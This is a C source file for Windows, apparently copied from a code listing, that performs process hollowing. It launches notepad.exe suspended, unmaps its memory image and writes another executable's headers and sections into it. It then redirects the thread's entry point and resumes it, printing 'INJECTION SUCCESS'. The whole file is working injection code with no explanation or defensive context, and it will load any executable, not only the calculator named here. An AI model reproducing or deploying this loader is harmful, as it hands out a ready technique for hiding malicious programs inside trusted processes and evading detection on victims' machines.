1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| #include<windows.h> #include<stdio.h> char path[MAX_PATH]="c:\\windows\\system32\\notepad.exe"; char path2[MAX_PATH]="c:\\Users\\Admin\\Desktop\\calc.exe"; int CreateProc(char *,PROCESS_INFORMATION * ); int UnmapView(PROCESS_INFORMATION); int Injection(PROCESS_INFORMATION); DWORD GetImageSize(char *); DWORD GetEntryPoint(); DWORD GetImageBase();
CONTEXT context; HANDLE hfile; char * pBuffer; void main() { PROCESS_INFORMATION pi; if(!CreateProc(path,&pi)) return; if(UnmapView(pi)!=0) return; if(Injection(pi)==0) return; printf("INJECTION SUCCESS"); system("pause");
} int CreateProc(char * path,PROCESS_INFORMATION * pi) { STARTUPINFOA si; ZeroMemory(&si,sizeof(si)); si.cb=sizeof(si); ZeroMemory(pi,sizeof(pi)); return CreateProcessA(path,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,pi); } int UnmapView(PROCESS_INFORMATION pi) { typedef NTSTATUS (WINAPI *ZwUnmapViewOfSection)(HANDLE,LPVOID); ZwUnmapViewOfSection UnmapViewOfSection = (ZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"ZwUnmapViewOfSection"); context.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread,&context); DWORD base; ReadProcessMemory(pi.hProcess,(LPVOID)(context.Ebx+8),&base,sizeof(DWORD),NULL); return UnmapViewOfSection(pi.hProcess,(LPVOID)base); } int Injection(PROCESS_INFORMATION pi) { DWORD ImageSize = GetImageSize(path2); DWORD ImageBase = GetImageBase(); context.Eax = (GetEntryPoint()+ImageBase); VirtualAllocEx(pi.hProcess,(LPVOID)ImageBase,ImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(!WriteProcessMemory(pi.hProcess,(LPVOID)ImageBase,pBuffer,PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->OptionalHeader.SizeOfHeaders,NULL)) return 0; PIMAGE_SECTION_HEADER psection =IMAGE_FIRST_SECTION(PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)); for(int i=0;i<PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->FileHeader.NumberOfSections;i++) { if(!WriteProcessMemory(pi.hProcess,(LPVOID)(ImageBase+psection->VirtualAddress),pBuffer+psection->PointerToRawData,psection->SizeOfRawData,NULL)) return 0; ++psection; } if(!WriteProcessMemory(pi.hProcess,(BYTE *)context.Ebx+8,&ImageBase,sizeof(DWORD),NULL)) return 0; SetThreadContext(pi.hThread,&context); ResumeThread(pi.hThread); return 1; } DWORD GetImageSize(char *path) { hfile = CreateFileA(path2,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hfile == INVALID_HANDLE_VALUE) exit(0); DWORD filesize = GetFileSize(hfile,NULL); pBuffer = new char[filesize]; ReadFile(hfile,pBuffer,filesize,&filesize,NULL); PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer); if(pDosHeader->e_magic!=0x5A4D) exit(0); PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer); return pNtHeaders->OptionalHeader.SizeOfImage; } DWORD GetEntryPoint() { PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer); if(pDosHeader->e_magic!=0x5A4D) exit(0); PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer); PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader; return OptionalHeader->AddressOfEntryPoint; } DWORD GetImageBase() { PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer); PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer); PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader; return OptionalHeader->ImageBase;
}
|